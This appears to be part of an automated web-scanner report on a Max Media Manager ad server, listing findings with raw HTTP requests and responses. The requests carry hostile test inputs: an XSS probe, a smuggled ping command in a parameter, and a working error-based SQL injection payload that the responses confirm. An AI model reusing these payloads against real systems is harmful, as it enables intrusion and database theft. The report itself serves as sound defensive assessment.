Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /www/admin/index.php

/www/admin/index.php CONFIRMED

https://s1.srtk.net/www/admin/index.php

Identified Cookie

sessionID

Request

GET /www/admin/index.php HTTP/1.1
Referer: https://s1.srtk.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: policyref="http://s1.srtk.net/w3c/s1.xml", CP="NON IVAa HISa OTPa OUR DELa IND UNI PUR COM NAV INT"
Set-Cookie: sessionID=phpads4e1c583f94ad85.71513255; path=/
Content-Encoding:
Vary: Accept-Encoding
Content-Length: 1424
Connection: close
Content-Type: text/html; charset=UTF-8


<html> <head> <title>Max Media Manager</title> <meta name='generator' content='Max Media Manager v0.3.20-alpha - http://max.m3.net'> <meta name='robots' content='noindex, nofollow'> <link rel='stylesheet' href='images/ltr/interface.css'> <link rel='stylesheet' type='text/css' media='all' href='js/jscalendar/calendar-openads.css' title='openads'> <script language='JavaScript' src='js-gui.js'></script> <script language='JavaScript' src='js/sorttable.js'></script> <script language='JavaScript' src='js/boxrow.js'></script> <script language='JavaScript' src='js/formValidation.php'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/lang/calendar-en.js'></script> <script language='JavaScript' type='text/javascript' src='js/jscalendar/calendar-setup.js'></script> <script language='JavaScript' src='js-form.php?language=english'></script> </head><body bgcolor='#FFFFFF' background='images/ltr/background.gif' text='#000000' leftmargin='0' topmargin='0' marginwidth='0' marginheight='0' onLoad='initPage();'><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td bgcolor='#000063'><img src=images/spacer.gif height='48' width='10'><img src='images/logo-s.gif' align='absmiddle'><img src=images/spacer.gif height='48' width='20'><span class='phpAdsNew'>Max Media Manager</span></td> <td bgcolor='#000063' valign='top' align='right'> &nbsp; </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='6' bgcolor='#000063'><img src='images/spacer.gif' height='1' width='1'></td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td height='24' width='181' bgcolor='#000063'>&nbsp;</td> <td height='24' bgcolor='#000063'> <table border='0' cellspacing='0' cellpadding='0' width='100%'> <tr> <td> <table border='0' cellspacing='0' cellpadding='0'> <tr height='1'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='1' width='1'></td> <td bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr> <tr> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF' valign='middle' nowrap>&nbsp;&nbsp;<a class='tab-s' href='index.php'>Authentication</a></td> <td bgcolor='#FFFFFF' align='right' valign='top'><img src='images/ltr/tab-toprightcorner-000063.gif' width='7' height='21'></td> <td><table border='0' cellspacing='0' cellpadding='0'><tr height='7'><td width='1'><img src='images/spacer.gif' height='7' width='1'></td></tr><tr height='14'><td width='1' bgcolor='#999999'><img src='images/spacer.gif' height='14' width='1'></td></tr></table></td> </tr> <tr height='3'> <td width='1' bgcolor='#999999'><img src='images/spacer.gif' width='1'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#FFFFFF'><img src='images/spacer.gif' height='4'></td> <td bgcolor='#999999' width='1'><img src='images/spacer.gif' width='1'></td></tr> </table> </td> <td align='right' valign='middle' nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td> </tr> </table> </td></tr></table><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr> <td colspan='2' height='1' bgcolor='#999999'><img src='images/spacer.gif' height='1'></td></tr><tr> <td valign='top'> <table width='181' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='15'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td class='nav'> &nbsp; </td> </tr> </table> </td> <td valign='top' width='100%'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td colspan='2' height='10'><img src='images/spacer.gif' height='1'></td> </tr> <tr> <td width='20'>&nbsp;</td> <td><br /> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><br /><form name='login' method='post' onSubmit='return login_md5(this);' action='https://s1.srtk.net/www/admin/index.php'><input type='hidden' name='phpAds_cookiecheck' value='phpads4e1c583f94ad85.71513255'><input type='hidden' name='phpAds_md5' value=''><table width='100%' cellpadding='0' cellspacing='0' border='0'><tr><td width='80' valign='bottom'><img src='images/login-welcome.gif'>&nbsp;&nbsp;</td><td width='100%' valign='bottom'><span class='tab-s'>Welcome to Max Media Manager</span><br /><span class='install'>Enter your username and password to log in</span><br /><img src='images/break-el.gif' width='400' height='1' vspace='8'></td></tr><tr><td>&nbsp;</td><td><table cellpadding='0' cellspacing='0' border='0'><tr height='24'><td>Username:&nbsp;</td><td><input class='flat' type='text' name='username'></td></tr><tr height='24'><td>Password:&nbsp;</td><td><input class='flat' type='password' name='password'></td></tr><tr height='24'><td>&nbsp;</td><td><input type='submit' value='Login'></td></tr></table></td></tr></table></form> </td> <td width='40'>&nbsp;</td> </tr> </table> <img src='images/break-el.gif' height='1' width='100%' vspace='5'> <table width='100%' border='0' cellspacing='0' cellpadding='0'> <tr> <td width='40'>&nbsp;</td> <td><script language='JavaScript' src='md5.js'></script><script language='JavaScript'><!-- function login_md5(o) { if (o.password.value != '') { o.phpAds_md5.value = MD5(o.password.value); o.password.value = ''; } return true; } login_focus();//--> </script> </td> <td width='40'>&nbsp;</td> </tr> <tr> <td width='40' height='20'>&nbsp;</td> <td height='20'>&nbsp;</td> </tr> </table> </td></tr></table></body></html>
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /www/

/www/

https://s1.srtk.net/www/

Extracted Version

2.2.3 (CentOS)

Request

GET /www/ HTTP/1.1
Referer: https://s1.srtk.net/www/delivery/tjs.php?trackerid=16337c376;alert(1)//b581f5ff90a&r=705910
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Location: https://s1.srtk.net/www/admin/index.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /www/

/www/

https://s1.srtk.net/www/

Extracted Version

PHP/5.1.6

Request

GET /www/ HTTP/1.1
Referer: https://s1.srtk.net/www/delivery/tjs.php?trackerid=16337c376;alert(1)//b581f5ff90a&r=705910
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Location: https://s1.srtk.net/www/admin/index.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /www/delivery/tjs.php

/www/delivery/tjs.php

https://s1.srtk.net/www/delivery/tjs.php?trackerid=%22%26%20ping%20-n%2026%20127.0.0.1%20%26&r=705910

Parameters

Parameter Type Value
trackerid GET "& ping -n 26 127.0.0.1 &
r GET 705910

Request

GET /www/delivery/tjs.php?trackerid=%22%26%20ping%20-n%2026%20127.0.0.1%20%26&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 813
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid=\"& ping -n 26 127.0.0.1 &You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"& ping -n 26 127.0.0.1 &' at line 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid=\"& ping -n 26 127.0.0.1 &You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"& ping -n 26 127.0.0.1 &' at line 1document.write("");
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /www/delivery/

/www/delivery/ CONFIRMED

https://s1.srtk.net/www/delivery/

Request

GET /www/delivery/ HTTP/1.1
Referer: https://s1.srtk.net/www/delivery/tjs.php?trackerid=16337c376;alert(1)//b581f5ff90a&r=705910
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden
Date: Tue, 12 Jul 2011 14:20:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 222
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /www/delivery/on this server.</p><hr></body></html>
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /www/delivery/tjs.php

/www/delivery/tjs.php CONFIRMED

https://s1.srtk.net/www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2ccon..

Request

GET /www/delivery/tjs.php?trackerid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&r=705910 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:21:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 979
Connection: close
Content-Type: application/x-javascript


SELECT t.clientid AS advertiser_id,t.trackerid AS tracker_id,t.trackername AS name,t.description AS description,t.viewwindow AS viewwindow,t.clickwindow AS clickwindow,t.blockwindow AS blockwindow,t.appendcode AS appendcode FROM trackers AS t WHERE t.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:1' for key 1SELECT v.variableid AS variable_id,v.trackerid AS tracker_id,v.name AS name,v.datatype AS type FROM variables AS v WHERE v.trackerid IN ((select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)))Duplicate entry '_!@4dilemma:0' for key 1document.write("");
Directory Listing (Apache)

Directory Listing (Apache)

1 TOTAL
INFORMATION
The web server responded with a list of files located in the target directory.

Impact

An attacker can see the files located in the directory and could potentially access files which disclose sensitive information.

Actions to Take

  1. See the remedy for solution.
  2. Configure the web server to disallow directory listing requests.
  3. This can also be caused the web server products that don't have latest security patches. Ensure that all of the patches have been applied.

Remedy

Change your httpd.conf file. A secure configuration for the requested directory should be similar to the following one:
<Directory /{YOUR DIRECTORY}>
	Options FollowSymLinks 
</Directory>
Remove the Indexes option from configuration. Do not forget to remove MultiViews as well.

External References

- /www/admin/js/

/www/admin/js/

https://s1.srtk.net/www/admin/js/

Request

GET /www/admin/js/ HTTP/1.1
Referer: https://s1.srtk.net/www/admin/js/formValidation.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:48 GMT
Server: Apache/2.2.3 (CentOS)
Content-Length: 2044
Connection: close
Content-Type: text/html;charset=ISO-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <head> <title>Index of /www/admin/js</title> </head> <body><h1>Index of /www/admin/js</h1><table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/www/admin/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td></tr><tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="boxrow.js">boxrow.js</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right">2.1K</td></tr><tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="datecheck.js">datecheck.js</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right">3.5K</td></tr><tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="formValidation.php">formValidation.php</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right"> 12K</td></tr><tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="jscalendar/">jscalendar/</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right"> - </td></tr><tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="numberFormat.php">numberFormat.php</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right"> 11K</td></tr><tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="sorttable.js">sorttable.js</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right">6.6K</td></tr><tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="tests/">tests/</a></td><td align="right">30-Jun-2011 18:29 </td><td align="right"> - </td></tr><tr><th colspan="5"><hr></th></tr></table><address>Apache/2.2.3 (CentOS) Server at s1.srtk.net Port 443</address></body></html>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /www/admin/js-gui.js

/www/admin/js-gui.js

https://s1.srtk.net/www/admin/js-gui.js

Found E-mails

matteo@beccati.com

Request

GET /www/admin/js-gui.js HTTP/1.1
Referer: https://s1.srtk.net/www/admin/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: s1.srtk.net
Cookie: sessionID=phpads4e1c583f94ad85.71513255
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 12 Jul 2011 14:20:48 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 01 Jul 2011 01:29:19 GMT
ETag: "109007-164d-4a6f7f24b59c0"
Accept-Ranges: bytes
Content-Length: 5709
Connection: close
Content-Type: application/x-javascript


/*+---------------------------------------------------------------------------+| Max Media Manager v0.3 || ================= || || Copyright (c) 2003-2005 m3 Media Services Limited || For contact details, see: http://www.m3.net/ || || Copyright (c) 2000-2003 the phpAdsNew developers || For contact details, see: http://www.phpadsnew.com/ || || This program is free software; you can redistribute it and/or modify || it under the terms of the GNU General Public License as published by || the Free Software Foundation; either version 2 of the License, or || (at your option) any later version. || || This program is distributed in the hope that it will be useful, || but WITHOUT ANY WARRANTY; without even the implied warranty of || MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the || GNU General Public License for more details. || || You should have received a copy of the GNU General Public License || along with this program; if not, write to the Free Software || Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA |+---------------------------------------------------------------------------+$Id: js-gui.js 4320 2006-02-28 15:32:32Z matteo@beccati.com $*//*********************************************************//* Enable accesskeys in IE *//*********************************************************/var accessKeyEnabled = true;function useAccessKey (evt) { if (accessKeyEnabled == true) { if (event.altKey) { event.srcElement.click(); } } else { event.srcElement.blur(); accessKeyEnabled = true; }}function releaseAccessKey() { if (accessKeyEnabled == false) { accessKeyEnabled = true; }}function initAccessKey() { if (navigator.appName == "Microsoft Internet Explorer") { for (i=0;i<document.all.length;i++) { a = document.all(i); if (a.tagName == 'A' && a.accessKey != '') { a.blur(); a.onfocus = useAccessKey; } } if (event.altKey) { accessKeyEnabled = false; document.onkeyup = releaseAccessKey; setTimeout ('releaseAccessKey()', 100); } }}/*********************************************************//* General functions *//*********************************************************/function findObj(n, d) { var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=findObj(n,d.layers[i].document); if(!x && document.getElementById) x=document.getElementById(n); return x;}function openWindow(theURL,winName,features) { window.open(theURL,winName,features); return false;}function setTextOfLayer(objName,newText) { while (obj = document.getElementById(objName)) { with (obj) if (document.layers) {document.write(unescape(newText)); document.close();} else innerHTML = unescape(newText); obj.id = ''; }}/*********************************************************//* Confirm form submit *//*********************************************************/function confirm_submit(o, str){ f = findObj(o); if(confirm(str)) f.submit();}/*********************************************************//* Open Search window *//*********************************************************/function search_window(keyword, where){ path = where+'?keyword='+keyword; SearchWindow = window.open("","Search","toolbar=no,location=no,status=no,scrollbars=yes,width=600,height=500,innerheight=50,screenX=100,screenY=100,pageXoffset=100,pageYoffset=100,resizable=yes"); if (SearchWindow.frames.length == 0) { SearchWindow = window.open(path,"Search","toolbar=no,location=no,status=no,scrollbars=yes,width=700,height=600,innerheight=50,screenX=100,screenY=100,pageXoffset=100,pageYoffset=100,resizable=yes"); } else { SearchWindow.location.href = path; SearchWindow.focus(); }}/*********************************************************//* Focus the first field of the login screen *//*********************************************************/function login_focus(){ if (document.login.username.value == '') { document.login.username.focus(); } else { document.login.password.focus(); }}/*********************************************************//* Copy the contents of a field to the clipboard *//*********************************************************/function max_CopyClipboard(obj){ obj = findObj(obj); if (obj) { window.clipboardData.setData('Text', obj.value); }}/*********************************************************//* Setup all event handlers for use on the page *//*********************************************************/function initPage(){ initAccessKey(); boxrow_init();}